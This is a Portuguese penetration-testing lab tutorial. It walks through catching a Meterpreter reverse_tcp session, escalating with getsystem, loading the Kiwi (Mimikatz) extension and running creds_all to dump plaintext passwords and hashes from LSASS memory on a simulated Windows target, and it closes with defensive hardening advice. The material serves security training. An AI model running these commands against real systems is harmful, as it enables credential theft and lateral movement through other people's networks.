Introdução
Na fase de pós-exploração de um teste de penetração, um dos objetivos primários é coletar credenciais para movimentar-se lateralmente pela rede. O Meterpreter do Metasploit é um payload poderoso que fornece um shell interativo em um sistema comprometido.
Uma das funcionalidades mais potentes do Meterpreter é a extensão Kiwi, que é um port do famoso Mimikatz. O Kiwi permite que atacantes extraiam senhas em texto plano, hashes, PINs e tickets Kerberos diretamente da memória da máquina alvo, especificamente do processo Local Security Authority Subsystem Service (LSASS).
Neste laboratório, você aprenderá como carregar e usar a extensão Kiwi dentro de uma sessão Meterpreter para extrair credenciais de um alvo simulado no Windows.
Obter uma sessão Meterpreter com privilégios SYSTEM em um alvo Windows
Nesta etapa, simularemos o ganho de acesso a uma máquina alvo. Em um cenário do mundo real, você usaria um exploit para entregar um payload. Aqui, configuraremos um listener usando o console do Metasploit Framework. Um alvo simulado se conectará ao nosso listener, fornecendo-nos uma sessão Meterpreter.
Primeiro, inicie o console do Metasploit. O flag -q faz com que ele inicie silenciosamente, sem exibir o banner.
msfconsole -q
Em seguida, configuraremos um listener para "capturar" a conexão de entrada do alvo simulado. Usaremos o módulo multi/handler para isso.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Agora, execute o listener como um job em segundo plano usando exploit -j.
exploit -j
Após alguns momentos, uma sessão será criada. Você pode listar as sessões ativas com o comando sessions.
sessions
Você deverá ver uma saída indicando uma sessão ativa, semelhante a esta:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
Agora, interaja com a sessão 1.
sessions -i 1
Seu prompt mudará para meterpreter >. Para usar o Kiwi de forma eficaz, precisamos do mais alto nível de privilégios, NT AUTHORITY\SYSTEM. Podemos tentar escalar nossos privilégios usando o comando getsystem.
getsystem
Você deverá ver uma mensagem ...got system. Verifique sua nova identidade executando getuid.
getuid
A saída esperada deve ser:
Server username: NT AUTHORITY\SYSTEM
Agora você tem uma sessão Meterpreter com privilégios SYSTEM, pronta para as próximas etapas.
Carregar a extensão kiwi usando o comando load kiwi
Nesta etapa, você carregará a extensão Kiwi em sua sessão Meterpreter. O Meterpreter é modular, e suas extensões fornecem funcionalidades adicionais que não são carregadas por padrão para manter o payload inicial pequeno. A extensão Kiwi contém todos os comandos necessários para realizar a extração de credenciais no estilo Mimikatz.
A partir do seu prompt meterpreter >, use o comando load para adicionar a extensão Kiwi.
load kiwi
Se o comando for bem-sucedido, o Meterpreter confirmará que a extensão foi carregada.
Loading extension kiwi...Success.
Com a extensão Kiwi carregada, você agora tem acesso a um novo conjunto de comandos poderosos para coleta de credenciais.
Listar comandos kiwi disponíveis com help
Nesta etapa, você verificará se os comandos Kiwi estão disponíveis. Após carregar qualquer extensão no Meterpreter, você pode usar o comando help para ver uma lista atualizada de todos os comandos disponíveis. Esta é uma boa prática para confirmar que a extensão foi carregada corretamente e para ver quais novas capacidades você possui.
A partir do prompt meterpreter >, simplesmente digite help.
help
A saída será uma longa lista de todos os comandos do Meterpreter, agrupados por seção. Percorra a saída e você deverá encontrar uma nova seção chamada "Kiwi Commands". Esta seção lista todas as funções fornecidas pela extensão Kiwi.
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
Como você pode ver, o Kiwi adiciona muitos comandos poderosos para interagir com os mecanismos de autenticação do Windows.
Extrair todas as credenciais disponíveis com o comando creds_all
Nesta etapa, você executará o comando principal da extensão Kiwi para extrair todas as credenciais encontradas na memória. O comando creds_all é um wrapper conveniente que executa vários módulos de coleta de credenciais diferentes de uma vez, visando vários pacotes de autenticação como WDigest, Kerberos e MSV.
Lembre-se, este comando requer privilégios SYSTEM para acessar a memória do processo LSASS, razão pela qual realizamos o comando getsystem na primeira etapa.
A partir do seu prompt meterpreter >, execute o comando creds_all.
creds_all
O comando levará um momento para ser executado enquanto inspeciona o processo LSASS. A saída será detalhada, mostrando as credenciais encontradas para diferentes provedores. Abaixo está uma amostra do que você pode ver.
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
Você extraiu com sucesso as credenciais da memória do sistema alvo. O próximo passo é analisar esta saída.
Analisar a saída em busca de senhas em texto plano
Nesta etapa final, você analisará a saída do comando creds_all para identificar senhas em texto plano. A capacidade de encontrar credenciais em texto claro é o que torna ferramentas como Kiwi e Mimikatz tão poderosas para movimento lateral.
Procure na saída que você recebeu na etapa anterior. Os dados são organizados por pacote de autenticação:
- msv: Este pacote lida com a autenticação NTLM padrão. Geralmente fornece hashes de senha, não senhas em texto plano, a menos que o usuário tenha feito login interativamente recentemente.
- wdigest: Em sistemas Windows mais antigos ou sistemas onde está explicitamente habilitado, o WDigest armazena uma cópia reversivelmente criptografada da senha do usuário na memória. O Kiwi pode descriptografar isso facilmente, revelando a senha em texto plano. Esta é frequentemente a seção mais valiosa.
- kerberos: Este pacote gerencia tickets Kerberos. Semelhante ao WDigest, ele também pode armazenar em cache senhas em texto plano para usuários logados.
- ssp e tspkg: Esses pacotes lidam com credenciais para outros serviços, como conexões de Área de Trabalho Remota.
Na saída de exemplo da etapa anterior, você pode ver claramente uma senha em texto plano para o usuário LabUser nas seções wdigest e kerberos:
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
Ao examinar cuidadosamente a saída e procurar por valores não-(null) na coluna Password, você pode coletar credenciais valiosas. Essas informações poderiam então ser usadas para acessar outros sistemas ou serviços como esse usuário.
Resumo
Neste laboratório, você realizou com sucesso uma técnica clássica de pós-exploração. Você começou obtendo uma sessão Meterpreter com privilégios SYSTEM em um alvo Windows simulado. Em seguida, carregou a extensão Kiwi, que integra a funcionalidade do Mimikatz ao Meterpreter.
Usando o comando creds_all, você extraiu credenciais diretamente da memória do processo LSASS. Finalmente, você analisou a saída para extrair uma senha em texto plano de um usuário logado.
Este exercício destaca a importância do endurecimento de segurança em endpoints. Defesas contra este tipo de ataque incluem:
- Desabilitar a autenticação WDigest.
- Habilitar a Proteção LSA (RunAsPPL).
- Implementar o princípio do menor privilégio para garantir que usuários e processos não tenham direitos administrativos desnecessários.
Agora você tem uma compreensão prática de como os atacantes podem alavancar a extração de credenciais na memória para comprometer ainda mais uma rede.


